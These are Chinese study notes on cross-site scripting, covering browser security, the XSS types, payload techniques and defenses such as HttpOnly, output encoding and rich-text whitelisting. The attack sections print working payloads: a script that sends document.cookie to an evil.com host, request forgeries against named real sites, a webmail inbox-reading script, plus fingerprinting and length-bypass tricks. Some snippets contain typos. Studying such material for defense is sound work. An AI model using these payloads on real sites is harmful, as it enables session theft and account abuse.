XSS漏洞學習筆記


 

 

瀏覽器安全

同源策略 
影響源的因素:host,子域名,端口,協議 
a.com通過以下代碼:

<script scr=http://b.com/b.js>

加載了b.com上的b.js,但是b.js是運行在a.com頁面中的,因此相對於當前打開的頁面(a.com)來說,b.js的源就應該是a.com而非b.com 
不同於XMLHttpRequest的是,通過src屬性加載的資源,瀏覽器限制了JavaScript的權限,使其不能讀、寫返回的內容。 
XMLHttpRequest不能跨域訪問資源。但是有跨域請求的需求,因此W3C指定了XMLHttpRequest的跨域訪問標准。它需要通過目標域返回的Http頭來授權是否允許跨域訪問,因此HTTP頭對於JavaScript來說一般是無法控制的,所以認為這個方案是可行的。注意:這個跨域訪問方案的安全基礎就是信任“Javascript無法控制該HTTP頭”,如果此信任基礎被打破,則此方案也就不再安全。

瀏覽器沙箱 
每個單獨的頁面是一個進程。瀏覽器加載的第三方插件如Flash、Java、PDF、.NET Framework都成為了被攻擊熱點。

惡意網址攔截 
瀏覽器使用黑名單策略來警告用戶。常見的惡意網址分為兩類: 
1、掛馬網站,通常包含惡意的Javascript或Flash,通過利用瀏覽器的漏洞,執行shellcode,在電腦中植入木馬 
2、釣魚網站:模仿知名網站的相似頁面

高速發展的瀏覽器安全

跨站腳本攻擊

Cross Site Script,因為和CSS重名,所以改名XSS

XSS簡介

通常指黑客通過“HTML注入”纂改了頁面,插入了惡意的腳本,從而在用戶瀏覽頁面時,控制用戶瀏覽器的一種攻擊。在一開始,這種攻擊的演示案例是跨域的,所以叫“跨站腳本”。但是發展到今天,由於Javascript的強大功能以及網站前端應用的復雜化,是否跨域已經不再重要。但是由於歷史原因,這個名字保留了下來。 
假設一個頁面把用戶輸入的參數輸出到頁面上:

1 <?php
2 $input=$_GET["param"];
3 echo "<div>".$input."</div>";
4 ?>

如果提交一段HTML代碼:

http://www.a.com/test.php?param=alert(/xss/)

會發現alert(/xss/)被執行了。 
XSS分為以下幾類: 
1)反射型XSS: 就如上面的例子,也就是黑客需要誘使用戶點擊鏈接。也叫作”非持久型XSS“(Non-persistent XSS) 
2)存儲型XSS:把用戶輸入的數據”存儲“在服務器端。這種XSS具有很強的穩定性。 
比較常見的一個場景是,黑客寫下一篇包含惡意Javascript代碼的博客文章,文章發表后,所有訪問該博客文章的用戶,都會在他們的瀏覽器中執行這段惡意的Javascript代碼。黑客把惡意的腳本保存在服務器端,所以中XSS攻擊就叫做”存儲型XSS”。 
3)DOM based XSS:也是一種反射型XSS,由於歷史原因被單獨列出來了。通過修改頁面的DOM節點形成的XSS,稱之為DOM Based XSS。

看如下代碼:

1 <script>
2 function test(){
3 var str=document.getElementById("text").value;
4 document.getElementById("t").innerHTML="<a href='http://cracer.com/blog/"+str+"' >testLink</a>";
5 }
6 </script>
7 <div id="t"></div>
8 <input type="text" id="text" value="" />
9 <input type="button" id="s" value="write" onlick="test()" />
 

這段代碼的作用就是點擊write按鈕后在當前頁面插入一個鏈接。 
構造如下數據:

’ onclick=alert(/xss/) //

輸入后,頁面代碼就成了

testLink

首先用一個單引號閉合掉href的第一個單引號,然后插入一個onclick事件,最后再用注釋符//注釋掉第二個單引號。 
實際上,這里還有另外一種利用方式—除了構造一個新事件外,還可以選擇閉合掉<a>標簽,並插入一個新的HTML標簽。嘗試如下輸入:

'><img scr=# onerror=alert(/xss2/) /><'

頁面代碼編程

<a href='http://cracer.com/blog/'><img scr=# onerror=alert(/xss2/) /><''>testLink</a>.

XSS攻擊進階

初探XSS Payload 
XSS Payload就是JavaScript腳本(還可以是Flash或其他富客戶端的腳本),所以任何Javascript腳本能做到的事情,XSS Payload都能做到。 
一個最常見的XSS Payload就是讀取瀏覽器的Cookie對象,從而發起”Cookie劫持”攻擊。 
Cookie中一般加密保存了當前用戶的登錄憑證。Cookie如果丟失,往往意味着用戶的登錄憑證丟失。換句話說,攻擊者可以不用通過密碼,而直接登錄進用戶的賬戶。 
如下所示,攻擊者先加載一個遠程腳本: 
http://www.a.com/test.htm?abc=“><script scr=http://www.evil.com/evil.js ></script> 
真正的XSS Payload現在這個遠程腳本中,避免直接在URL的參數里寫入大量的JavaScript代碼。 
在evil.js中,可以通過如下代碼竊取Cookie:

var img=document.createElement("img");
img.src="http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);

這段代碼在頁面中插入了一張看不見的圖片,同時把document.cookie對象作為參數發送到遠程服務器。 
事實上,http://www.evil.com/log 並不一定要存在,因為這個請求會在遠程服務器的Web日志中留下記錄 。 
這樣就完成了一個最簡單的竊取Cookie的XSS Payload。 
黑客可以用這個Cookie直接登錄。 
防止:Cookie的“HttpOnly”標識可以防止”Cookie劫持”,我們將在稍后的章節中在具體介紹。

強大的XSS Payload 
構造Get與Post請求:例如在Sohu上有一篇文章, 想通過XSS刪除它,該如何做呢? 
假設Sohu博客所在域的某頁面存在XSS漏洞,那么通過JavaScript,這個過程如下: 
正常刪除該文章的鏈接是:http://blog.sohu.com/manage/entry.do?m=delete&id=156713012 
對於攻擊者來說,只需要直到文章的id,就能夠通過這個請求刪除這篇文章了。 
攻擊者可以通過插入一張圖片來發起一個get請求:

var img=document.createElement("img");
img.scr="http://blog.sohu.com/manage/entry.do?m=delete&id=156713012";
document.body.appendChild(img);

攻擊者只需要讓博客的作者執行這段JavaScript代碼(XSS Payload),就會把這篇文章刪除。在具體攻擊中,攻擊者將通過XSS誘使用戶執行XSS Payload。 
再看一個復雜點的例子。如果網站應用者接受POST請求,那么攻擊者如何實施XSS攻擊呢? 
下例是Douban的一處表單。攻擊者將通過Javascript發出一個post請求,提交此表單,最終發出一條新的消息。

 1 var f=document.createElement("form");
 2 f.action="";
 3 f.method="post";
 4 document.body.appendChild(f);
 5 var i1=document.createElement("input");
 6 i1.name=" ck";
 7 i1.value=" JiuY";
 8 f.appendChild(i1);
 9 var i2=document.createElement("input");
10 i2.name=" mb_text";
11 i2.value="testtestseset";
12 f.appendChild(i2);
13 f.submit();

如果表單參數很多的話,通過構造DOM的方式,代碼將會很冗長。所以可以直接寫HTML代碼:

var dd=document.createElement("div");
document.body.appendChild(dd);
dd.innerHTML='<form action="" method="post" id="xssform" name="mbform">'+
'<input type="hidden" name="ck" value="JiuY" />'+
'<input type="hidden" name="mb_text" value="testetst" />' +
'</form>'
document.getElementById("xssform").submit();

第二種方法是,通過XMLHttpRequest發送一個POST請求:

 1 var url = "http://www.douban.com";
 2 var postStr = "ck=JiuY&mb_text=test1234";
 3 var ajax = null;
 4 if (window.XMLHttpRequest) {
 5     ajax = new XMLHttpRequest();
 6 } else if (window.ActiveXObject) {
 7     ajax = new ActiveXObject("Microsoft.XMLHTTP");
 8 } else {
 9     return;
10 }
11 ajax.open("POST", url, true);
12 ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
13 ajax.send(postStr);
14 ajax.onreadystatechange = function() {
15     if (ajax.readyState == 4 && ajax.status == 200) {
16         alert("Done");
17     }
18 }

 

通過這個例子可以看出,使用Javascript模擬提交表單並不是一件困難的事情.

下面的例子將演示如何通過XSS Payload讀取QMail用戶的郵件文件夾: 
首先看看正常的請求是如何獲取到所有的郵件列表的。登錄郵箱后,點擊“收件箱”后。抓包發現瀏覽器發出了如下請求: 
http://m57.mail.qq.com/cgi-bing/mail_list?sid=6a1hx3p5yzh…&folderid=1&page=0&s=index&loc=folderlist,,,1 
經過分析,真正能訪問到郵件列表的鏈接是: 
http://m57.mail.qq.com/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid=6a1hx… 
這里有一個無法直接構造出的值:sid。從字面推測,這個sid參數應該是用戶ID加密后的值。 
所以XSS Payload的思路是先獲取到sid的值,然后構造完整的URL,並使用XMLHttpRequest請求到此URL,應該就能得到郵件列表了。XSS Payload如下:

 1 if (top.window.location.href.indexOf("sid=") > 0) {
 2     var sid = top.window..location.href.substr(top.window.location.href.indexOf("sid=") + 4, 24);
 3 }
 4 var folder_url = "http://" + top.window.location.host + "/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid=" + sid;
 5 var ajax = null;
 6 if (window.XMLHttpRequest) {
 7     ajax = new XMLHttpRequest();
 8 } else if (window.ActiveXObject) {
 9     ajax = new ActiveXObject("Microsoft.XMLHTTP");
10 } else {
11     return;
12 }
13 ajax.open("GET", folder_url, true);
14 ajax.send(null);
15 ajax.onreadystatechange = function() {
16     if (ajax.readyState == 4 && ajax.status == 200) {
17         alert(ajax.responseText);
18         //document.write(ajax.responseText);
19     }
20 }

郵件列表的內容成功被XSS Payload獲取到。

釣魚: 
XSS並非萬能。前面的例子都是Javascript腳本,缺少”與用戶的交互”,碰到驗證碼,和修改密碼時需要輸入舊密碼,XSS Payload就會失效。 
對於驗證碼,XSS Payload可以讀取頁面的內容,將驗證碼的圖片URL發送到遠程服務器上來實施–攻擊者可以在遠程XSS后台接收當前驗證碼,並將驗證碼的值返回給當前的XSS Payload 
從而繞過驗證碼。 
修改密碼的問題比較復雜,為了竊取密碼,攻擊者可以將XSS與”釣魚”結合。 
實現思路很簡單:利用Javascript在當前頁面上”畫出”一個偽造的登錄框,當用戶在登錄框中輸入用戶名和密碼后,其密碼將被發送到黑客的服務器上。

識別用戶瀏覽器: 
navigator.userAgent 
但是userAgent是可以偽造的。這個信息不一定准確。 
由於瀏覽器之間的實現存在差異,利用這種差異分辨瀏覽器幾乎不會錯誤。 
參考:

 1 if (window.ActiveObject) {
 2     //MSIE 6.0 or below
 3     //判斷是否IE 7以上
 4     if (document.documentElement && typeof document.documentElement.style.maxHeight != "undefined") {
 5         if (typeof document.adoptNode != "undefined") { //Safari 3 & FF & Opera & Chrome & IE8
 6             //MSIE 8.0
 7         }
 8         //MSIE 7.0
 9     }
10     return "msie"; //MSIE6.0
11 } else if {
12     typeof window.opera != "undefined") { //Opera獨占
13         return "opera";
14     } else if (typeof window.netscape != "undefined") { //Mozilla獨占
15         if (typeof window.Iterator != "undefined") {
16             //Firefox 2.0以上支持這個對象
17             if (typeof document.styleSheetSets != "undefined") { //FireFox 3 & Opera 9
18                 //Firefox 3
19             }
20             //Firefox 2.0
21         }
22         return "mozilla";
23     } else if (typeof window.pageXOffset != "undefined") { //Mozilla & Safari
24         try {
25             if (typeof external.AddSearchProvider != "undefined") { //Firefox & Google Chrome
26                 return "Chrome";
27             }
28         } catch(e) {
29             return "safari";
30         }
31     } else { //unknown
32         return "unknown";
33     }

識別用戶安裝的軟件: 
在IE中,可以通過判斷ActiveX控件的classid是否存在,來推測用戶是否安裝了該軟件。這種方法很早就被用於“掛馬攻擊”–黑客通過判斷用戶安裝的軟件,選擇對應的瀏覽器漏洞,最終達到 
入木馬的目的。 
看如下代碼:

try {
  var Obj=new ActiveXObject('XunLeiBHO.ThunderIEHelper');
} catch (e){
  //異常了,不存在該控件
}

通過收集常見軟件的classid,就可以掃描出用戶電腦中安裝的軟件列表,甚至包括軟件的版本。 
一些第三方軟件也可能會泄漏一些信息。比如Flash有一個system.capabilities對象,能夠查詢客戶端電腦中的硬件信息。 
在XSS Payload中,可以在Flash的ActionScript中讀取system.capabilities對象后,將結果通過ExternalInterface傳給頁面的javascript。 
瀏覽器的擴展和插件也能被XSS Payload掃描出來。比如對於Firefox的插件和擴展,有着不同的檢測方法。 
Firefox的插件(Plugins)列表存放在一個DOM對象中,通過查詢DOM可以遍歷出所有的插件: 
所以直接查詢”navigator.plugins”對象,就能找到所有的插件了。例如 navigator.plugins[0] 
而Chrome的擴展(Extension)要復雜一些。有安全研究者想出了一個方法:通過檢測擴展的圖標,來判斷某個特定的擴展是否存在。 
在Chrome中有一個特殊的協議: chrome:// ,Chrome的擴展圖標可以通過這個協議被訪問到。比如Flash Got擴展的圖標,可以這樣訪問: 
chrome://flashgot/skin/icon32.png 
掃描Chrome擴展時,只需在Javascript中加載這張圖片,如果加載成功,則擴展存在;反之,擴展就不存在

1 var m = new Image();
2 m.onload = function() {
3     alert(1); //圖片存在
4 };
5 m.onerror = function() {
6     alert(2); //圖片不存在
7 };
8 m.src = "chrome://flashgot/skin/icon32.png"; //連接圖片

CSS History Hack: 
我們再看看另外一個有趣的XSS Payload—通過CSS,來發現一個用戶曾經訪問過的網站。 
原理是利用style的visited桑性—如果用戶曾經訪問過某個鏈接,那么這個鏈接的顏色會變的與眾不同。

 1 < script >
 2 var websites = [...要檢測的訪問過的網址列表,可能有幾千個...];
 3 //遍歷每個URL
 4 for (var i = 0; i < websites.length: i++) {
 5     var link = document.createElement("a");
 6     link.id = "id" + i;
 7     link.href = websites[i];
 8     link.innerHTML = websites[i];
 9     document.write('<style>');
10     document.write('#id' + i + ":visited {color:#FF0000;}");
11     document.write('</style>');
12     document.body.appendChild(link);
13     var color = document.defaultView.getComputedStyle(link, null).getPropertyValue("color");
14     document.body.removeChild(link);
15     if (color == "rgb(255,0,0)") { //visited
16         var item = document.createElement('li');
17         item.appendChild(link);
18         document.getElementById('visited').appendChild(item);
19     } else { //Not visited
20         var item = document.createElement('li');
21         item.appendChild(link);
22         document.getElementById('notvisited').appendChild(item);
23     }
24 } < /script>/

但是Firefox已經決定修補這個問題

獲取用戶的真實IP地址: 
很多時候,用戶電腦的IP地址隱藏在代理服務器或NAT的后面。 
javascript本身並沒有獲取本地IP地址的能力。一般需要第三方軟件來完成。比如,客戶端安裝了Java環境(JRE),那么XSS就可以通過調用Java Applet的接口獲取客戶端的本地IP地址。 
在XSS攻擊框架”Attack API”中,就有一個獲取本地IP地址的API:

1 AttackAPI.dom.getInternalIP = function() {
2     try {
3         var sock = new java.net.Socket();
4         sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
5         sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port) ? 80 : document.location.port));
6         return sock.getLocalAddress().getHostAddress();
7     } catch(e) {}
8     return '127.0.0.1';
9 };
此外,還有兩個利用Java獲取本地網絡信息的API

XSS攻擊平台:

XSS Payload如此強大,為了使用方便,有安全研究者將許多功能封裝起來,成為XSS攻擊平台。這些攻擊平台的主要目的是為了演示XSS的危害,以及方便滲透測試使用。 
Attack API: Attack API是安全研究者pdp所主導的一個項目,他總結了很多能夠直接使用的XSS Payload,歸納為API的方式。 
BeFF:曾經是最好的XSS演示平台。其所演示的是一個完整的XSS攻擊過程。 
XSS-Proxy:是一個輕量級的XSS攻擊平台,通過嵌套iFrame的方式可以實時地遠程控制被XS攻擊的瀏覽器。 
這些XSS攻擊平台有助於深入理解XSS的原理和危害。

終極武器:XSS Worm

Samy Worm: 
2005年,年僅19歲的Samy Kamkar發起了對MySpace.com的XSS Worm攻擊。 
MySpace過濾了很多危險的HTML標簽,只保留了<a>標簽、<img>標簽、<div>標簽等”安全的標簽”.並過濾了所有的事件,例如”onclick”。但是MySpace卻允許用戶控制標簽的Style屬性,通 
style,還是有辦法構造出XSS的。比如:

<div style="background:url('javascript:alert(1)')">

其次,MySpace同時還過濾了”javascript”、”onreadystatechange”等敏感詞,所以Samy用了“拆分法”繞過這些限制。 
最后Samy通過Ajax構造的Post請求,完成了在用戶的heros列表里添加自己名字的功能;同事復制蠕蟲自身進行傳播。至此,XSS Worm就完成了。 
具體代碼太長。。。 
但是發起XSS Worm攻擊是有一定的條件的: 
一般來說,用戶之間發生交互行為的頁面,如果存在存儲性XSS,則比較容易發起XSS Worm攻擊。 
比如發送站內信、用戶留言等頁面,都是XSS Worm的高發區,需要重點關注。而相對的,如果一個頁面只能由用戶個人查看,比如”用戶個人資料設置”頁面,因為缺乏用戶之間互動的功能 
所以即使存在XSS,也不能被用於XSS Worm的傳播。

百度空間蠕蟲: 
調試Javascript: 
要想寫好XSS Payload,需要有很好的Javascript功底,調試javascript是必不可少的技能。 
Firebug …

XSS構造技巧

利用字符編碼: 
“百度搜藏”曾經出現過一個這樣的XSS漏洞。百度在一個<script>標簽中輸出了一個變量,其中轉義了雙引號: 
var redirectUrl="\";alert(/xss/);"; 
一般來說,這里是沒有XSS漏洞的,因為變量處於雙引號之內,系統轉義了雙引號導致變量無法escape。 
但是百度的返回頁面是GBK/GB2312編碼的,因此”%c1\”這兩個字符組合在一起后,會成為一個Unicode字符。在Firefox下會認為這是一個字符,所以構造: 
%c1";alert(/xss/);// 
並提交: 
var rediretUrl="?";alert(2);//"; 
這兩個字節:"%c1\"組成了一個新的Unicode字符,%c1把轉義符"\"給”吃掉了”,從而繞過了系統的安全檢查,成功地實施了XSS攻擊。

繞過長度限制: 
很多時候,產生XSS的地方會有變量的長度限制,這個限制可能是服務器端邏輯造成的。 
假設下面代碼存在一個XSS漏洞: 
<input type=text value="$var" /> 
服務器端對輸出變量$var做了嚴格的長度限制,那么攻擊者可能會這樣構造XSS: 
$var為 "><script>alert(/xss/)</script> 
希望達到的輸出效果是: 
<input type=text value=""><script>alert(/xss/)</script>" /> 
假設長度限制為20個字節,則這段XSS會被切割為: 
$var輸出為: "><script>alert(/xss 
連一個完整的函數都無法寫完。 
攻擊者可以利用時間(Event)來縮短所需要的字節數: 
$var輸出為"onclick=alert(1)// 
加上空格符,剛好夠20個字節 
但利用“事件”能夠縮短的字節數是有限的。最好的辦法是先把XSS Payload寫在別處,再通過簡短的代碼加載這段XSS Payload。 
最常用的一個“藏代碼”的地方,就是“location.hash”。而且根據HTTP協議,location.hash的內容不會在HTTP包中發送,所以服務器端的Web日志中並不會記錄下location.hash里的內容,從而 
更好地隱藏了黑客真實的意圖。 
$var輸出為onclick="eval(location.hash.substr(1))" 
總共40個字節。輸出后的HTML是: 
<input type=text value="" onclick="eval(location.hash.substr(1)) " /> 
因為location.hash的第一個字符是#,所以必須去除第一個字符才行。此時構造出的XSS URL為: 
http://www.a.com/test.html#alert(1) 
用戶點擊文本框時,location.hash里的代碼就執行了. 
location.hash本身沒有長度限制,但是瀏覽器的地址欄是有長度限制的,不過這個長度已經足夠寫很長的XSS Payload了。要是地址欄的長度也不夠用,還可以再使用加載遠程JS的方法,來 
更多的代碼。 
在某些環境下,可以利用注釋符繞過長度限制。 
比如我們能控制兩個文本框,第二個文本框允許寫入更多的字節。此時可以利用HTML的”注釋符號“,把兩個文本框之間的HTML代碼全注釋掉,從而”打通“兩個<input>標簽。

<input id=1 type="text" value="" />
xxxxx
<input id=2 type="text" value="" />

在第一個input框中,輸入:"><!-- 
在第二個input框中,輸入:--><script>alert(/xss/);</script>

最終的效果是:

<input id=1 type="text" value=""><!-- />
xxxxx
<input id=2 type="text" value="--><script>alert(/xss/);</script>" />

中間的代碼前部被<!-- -->注釋掉了。

使用<base>標簽: 
<base>標簽是定義所有使用”相對路徑”標簽的hosting地址 
例如:

<body>
<base href="http://www/google.com" />
<img scr="/int1/...png" />
</body>

需要注意的是<base>標簽可以出現在頁面的任何地方,並作用於該標簽之后的所有標簽。 
攻擊者如果在頁面中插入了<base>標簽,就可以通過在遠程服務器上偽造圖片、鏈接或腳本,劫持當前頁面中的所有使用”相對路徑“的標簽。比如:

<base href="http://www.evil.com" />
...
<script src="http://cracer.com/blog/x.js">
...
<img scr="y.jpg" />
...
<a href="http://cracer.com/blog/auth.do"> auth</a>

所以在設計XSS安全方案時,一定要過濾掉這個非常危險的標簽。

window.name的妙用: 
window.name對象是一個很神奇的東西,對當前的window.name對象賦值,沒有特殊字符的限制。因為window對象是瀏覽器的窗體,而並非document對象,因此很多時候window對象不受同 
策略的限制。攻擊者利用這個對象,可以實現跨域、跨頁面傳遞數據。在某些環境下,這種特性將變得非常有用。 
參考以下案例: 
www.a.com/test.html的代碼為:

<body>
<script>
window.name="test";
alert(document.domain+" "+window.name);
window.location="http://www.b.com/test1.html";
</script>
</body>

這段代碼將window.name賦值為test,然后顯示當前域和window.name的值,最后頁面跳轉到www.b.com/test1.html。 
www.b.com/test1.html的代碼為:

<body>
<script>
alert(document.domain+" "+window.name);
</script>
</body>

這個過程實現了數據的跨域傳遞:”test”這個值從www.a.com傳遞到www.b.com 
使用window.name可以縮短XSS Payload的長度,如下所示:

<script>
window.name="alert(document.cookie)";
location.href="http://www.xssedsite.com/xssed.php";
</script>

在統一窗口打開XSS的站點后,只需通過XSS執行以下代碼即可: 
eval(name); 
只有11個字節,短到了極點。 
這個技巧為安全研究者luoluo發現,同時他還整理了很多繞過XSS長度限制的技巧。

變廢為寶:Mission Impossible 
從XSS漏洞利用的角度來看,存儲型XSS對攻擊者的用處比反射型XSS要大。而有的XSS漏洞被認為只能夠攻擊自己,屬於”雞肋”漏洞。但隨着時間的推移,數個曾經被認為是無法利用的 
洞,都被人找到了利用方法: 
a)Apache Expect Header XSS: 
b)Anehta的回旋鏢:

容易被忽視的角落:Flash XSS 
前面降到的XSS攻擊都是基於HTML的,其實在Flash中同樣也有可能造成XSS攻擊。 
在Flash中是可以嵌入ActionScript腳本的。一個最常見的Flash XSS可以這樣寫: 
getURL(“javascript:alert(document.cookie)”) 
ActionScript是一種非常強大和靈活的腳本,甚至可以使用它來發起網絡連接,因此應該盡可能地阻止用戶能夠上傳和加載自定義的Flash文件。 
由於Flash文件如此危險,所以在實現XSS Filter時,一般都會禁用、等標簽。后者甚至可以加載ActiveX控件,產生更為嚴重的后果。 
嵌入FLash的腳本重要的參數有allowScriptAccess(推薦值never)、allowNetworking(建議值none或者internal)。 
Flash XSS往往被忽視,因為其問題出現在編譯后的Flash文件中。

 

真的高枕無憂嗎?Javascript開發框架 
jQuery本身出現的漏洞較少,但是開發者的意識才是安全編碼的關鍵。 
例如$(‘div.demo-container’).html(“”); 
如果用戶可控制輸入,那么XSS產生是必然的。

XSS的防御

HttpOnly

瀏覽器將禁止頁面的Javascript訪問帶有HttpOnly屬性的Cookie。是為了解決劫持Cookie攻擊。因為Javascript獲取不到Cookie的值。 
C#中設置HttpOnly的方法: 
HttpCookie myCookie=new HttpCookie(“myCookie”); 
myCookie.HttpOnly=true; 
Response.AppendCookie(myCookie);

輸入檢查

常見的Web漏洞如XSS、SQL諸如等,都要求攻擊者構造一些特殊字符,這些特殊字符可能是正常用戶不會用到的,所以輸入檢查就有存在的必要了。 
例如,用戶名可能會被要求只能為字母、數字的組合。 
輸入檢查的邏輯應該放在服務器端,否則很容易被繞過。目前的普遍做法是在客戶端和服務器端都執行檢查。 
在XSS的防御上,輸入檢查一般是檢查用戶輸入的數據中是否包含一些特殊字符,如< > ’ “等。如果發現,則將這些字符過濾掉或編碼。 
比較智能的還會檢查<script> javascript等敏感字符,網上有很多XSS Filter資源。但因為XSS Filter對語境不了解,有時不能檢查出XSS攻擊。

輸出檢查

一般來說,除了富文本的輸出外,在變量輸出到HTML頁面時,可以使用編碼或者轉移的方式來防御XSS攻擊。

安全的編碼函數: 
針對HTML代碼的編碼方式是HtmlEncode。 
HtmlEncode並非專用名詞,它只是一種函數體現。它的作用是將字符轉換成HTMLEntities,對應的標准是ISO-8859-1。 
對了對抗XSS,在HtmlEncode中至少要轉換以下字符: 
& => &amp; < =>&lt; > " ' / 
相應地,Javascript的編碼方式可以使用JavascriptEncode。 
JavascriptEncode與HtmlEncode的編碼方法不同,他需要使用\對特殊字符進行轉義。在對抗CSS時,還要求輸出的變量必須在引號內部,以避免造成安全問題。比較下面兩種寫法: 
var x=escapeJavascript($evil); 
var y='"'+escapeJavascript($evil)+'"'; 
如果escapeJavascript函數只轉義了幾個危險字符,比如’ ” < > \ & #等,那么上面的兩行代碼輸出后可能變成: 
var x=1;alert(2); 
var y="1;alert(2)"; 
所以要求使用JavascriptEncode的變量輸出一定要在引號內。 
可視很多開發者沒有這個習慣怎么辦?這將只能使用一個更加嚴格的JavascriptEncode函數–除了數字、字母外的所有字符,都使用十六進制”\xHH”的方式進行編碼。在本例中: 
var x=1;alert(2); 
變成了: 
var x=1\x3balert\x282\x29; 
如此代碼可以保證是安全的。

只需一種編碼嗎? 
XSS攻擊主要發生在MVC架構中的View層。大部分的XSS漏洞可以在模版系統中解決。 
不是使用了auto-escape就萬事大吉了,XSS的防御需要區分情況對待。

正確地防御XSS

XSS的本質還是一種”HTML注入”。 
想要根治XSS,可以列出所有XSS可能發生的場景,在一一解決。

在HTML標簽中輸出:如

<div>$var</div>
<a href=# >$var</a>

這樣可以構造出:

<div><script>alert(/xss/)</script></div>
<a href=#><img scr=# onerror=alert(1) /></a>

防御方法是對變量使用HtmlEncode。

在HTML屬性中輸出:如

<div id="abc" name="$var" ></div>

可以構造出:

<div id="abc" name=""><script>alert(/xss/)</script><"" ></div>

防御方法也是HtmlEncode。在OWASP ESAPI中推薦了一種更嚴格的HtmlEncode–除了字母、數字外,其他所有的字符都被編碼成HTMLEntities。 
String sfa=ESAPI.encoder().encodeForHTMLAttribute(request.getParameter("input")]; 
這種嚴格的編碼方式,可以保證不會出現任何安全問題。

在<script>標簽中輸出:如

<script>
var x="$var";
</script>

可以構造出:

<script>
var x="";alert(/xss/);//";
</script>

防御時也是使用JavascriptEncode

在事件中輸出:如 
<a href=# onclick="funcA('$var')" >test</a> 
可以構造出: 
<a href=# onclick="funcA('');alert(/xss/);//')" >test</a> 
在防御時需要使用JavascriptEncode

在CSS中輸出: 
在CSS和style、style attribute中形成的XSS的方式非常多樣化,參考下面幾個XSS的例子。

<STYLE>@import 'http://ha.ckers.org/xss.css';
<STYLE>BODY {-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}
<XSS STYLE="behavior:url(xss.htc);">
<STYLE>li {list-style-image:url("javascript:alert('XSS')");} </STYLE><UIL><LI>XSS
<DIV STYLE="background-image:url(javascript:alert('XSS'))">
<DIV STYLE="width:expression(alert('XSS'));">

所以一般來說,盡可能地禁止用戶可控制的變量在”<style>標簽”、”HTML標簽的style屬性”以及”CSS文件”中輸出。如果一定有這樣的需求,推薦使用OWASP ESAPI中的encodeForCSS() 
數。類似於ESAPI.encoder().encodeForJavaScript()函數。

在地址中輸出: 
在地址中輸出也較為復雜。一般來說,在URL的path(路徑)或者search(參數)中輸出,使用URLEncode即可。 
例如: 
<a href="http://www.evil.com/?test=$var" >test</a> 
可能的攻擊辦法: 
<a href="http://www.evil.com/?test=" onclick=alert(1)"" >test</a> 
經過URLEncode后就可以防御。 
但是還有一種情況,就是整個URL都能夠被用戶完全控制。這時URL的協議和Host部分是不能夠使用URLEncode的,否則會改變URL的語義。 
一個URL的組成如下: 
[Protocol][host][Path][search][Hash] 
如 
http://www.evil.com/a/b/c/test?abc=123#ssss 
protocol="http://" 
host=www.evil.com 
search="?abc=123" 
hash=#ssss 
在Protocol和host中,如果使用嚴格的URLEncode函數,則會把”://“、”.“等都編碼掉。 
對於如下的輸出方式: 
<a href="http://cracer.com/blog/$var" >test</a> 
攻擊者可能會構造: 
<a href="javascript:alert(1);">test</a> 
除了“JavaScript作為偽協議可以執行代碼外,還有VBScript、dataURI等偽協議可能導致腳本執行。 
由此可見,如果用戶能夠完全控制URL,則可以執行腳本的方式有很多,如何解決這種情況呢? 
一般來說,如果變量是整個URl,則應該首先檢查變量是否是以Http開頭,如果不是則自動添加,以保證不會出現偽協議類的XSS攻擊。 
在此之后再對變量進行URLEncode,即可保證不會有此類的XSS發生了。 
OWASP ESAPI中有一個URLEncode的實現: 
ESAPI.encoder().encodeForURL

處理富文本

有些時候,網站需要允許用戶提交一些自定義的HTML代碼,稱之為”富文本”。比如,一個用戶在論壇里發帖,帖子里的內容里要有圖片、視頻、表格等,這些“富文本”的效果都需要通過HTM 
代碼來實現。 
如何區分安全的“富文本”和有攻擊性的XSS呢? 
在處理富文本時,還是要回到”輸入檢查”的思路上來。”輸入檢查“的主要功能是,在檢查時還不知道變量的輸出語境。但用戶提交的”富文本“數據,其語義是完整的HTML代碼,在輸出時也不 
拼湊到某個標簽的屬性中。因此可以特殊情況特殊處理。 
在上一節中,列出了所有在HTML中可能執行腳本的地方。而一個優秀的”XSS Filter“,也應該能夠找出HTML代碼中所有可能執行腳本的地方。 
HTML是一種結構化的語言,比較好分析。通過htmlparser可以解析出HTML代碼的標簽、標簽屬性和事件。 
在過濾富文本時,”事件“應該被嚴格禁止,因為”富文本“的展示需求里不應該包括”事件“這種動態效果。而一些危險的標簽,比如<iframe>、<script>、<base>、<form>等,也是應該嚴格禁 
的。 
在標簽的選擇上,應該使用白名單,避免使用黑名單。比如,只允許<a>、<img>、<div>等比較”安全“的標簽存在。 
”白名單“原則不僅僅用於標簽的選擇,同樣應該用於屬性與事件的選擇。 
在富文本過濾中,處理CSS也是一件麻煩的事情。如果允許用戶自定義的CSS、style,則也可能導致XSS攻擊。因此盡可能地禁止用戶自定義CSS與Style。 
如果一定要允許用戶自定義樣式,則只能像過濾”富文本“一樣過濾”CSS“。這需要一個CSS Parser對樣式進行智能分析,檢查其中是否包含危險代碼。 
有一些比較成熟的開源項目,實現了對富文本的XSS檢查。 
Anti-Samy是OWASP上的一個開源項目,也是目前最好的XSS Filter。最早它是基於Java的,現在已經擴展到.NET等語言。

防御DOM Based XSS

DOM Based XSS是一種比較特別的XSS漏洞,前文提到的幾種防御方法都不太適用,需要特別對待。 
DOM Based XSS是如何形成的呢?回頭看看這個例子:

<script>
function test(){
var str=document.getElementById("text").value;
document.getElementById("t").innerHTML="<a href='http://cracer.com/blog/"+str+"' >testLink</a>";
}
</script>
<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="write" oncick="test()" />

在button的onclick事件中,執行了test()函數,而該函數中最關鍵的一句是: 
document.getElementById("t").innerHTML="<a href='http://cracer.com/blog/"+str+"' >testLink</a>"; 
將HTML代碼寫入了DOM節點,最后導致了XSS的發生。 
事實上,DOM Based XSS是從Javascript中輸出數據到HTML頁面中。而前文提到的方法都是針對”從服務器應用直接輸出到HTML頁面”的XSS漏洞,因此並不適用於DOM Based XSS。 
看看下面這個例子:

<script>
var x="$var";
document.write("<a href='http://cracer.com/blog/"+x+"' >test</a>");
</script>

變量$var輸出在<script>標簽內,可是最后又被document.write輸出到HTML頁面中。 
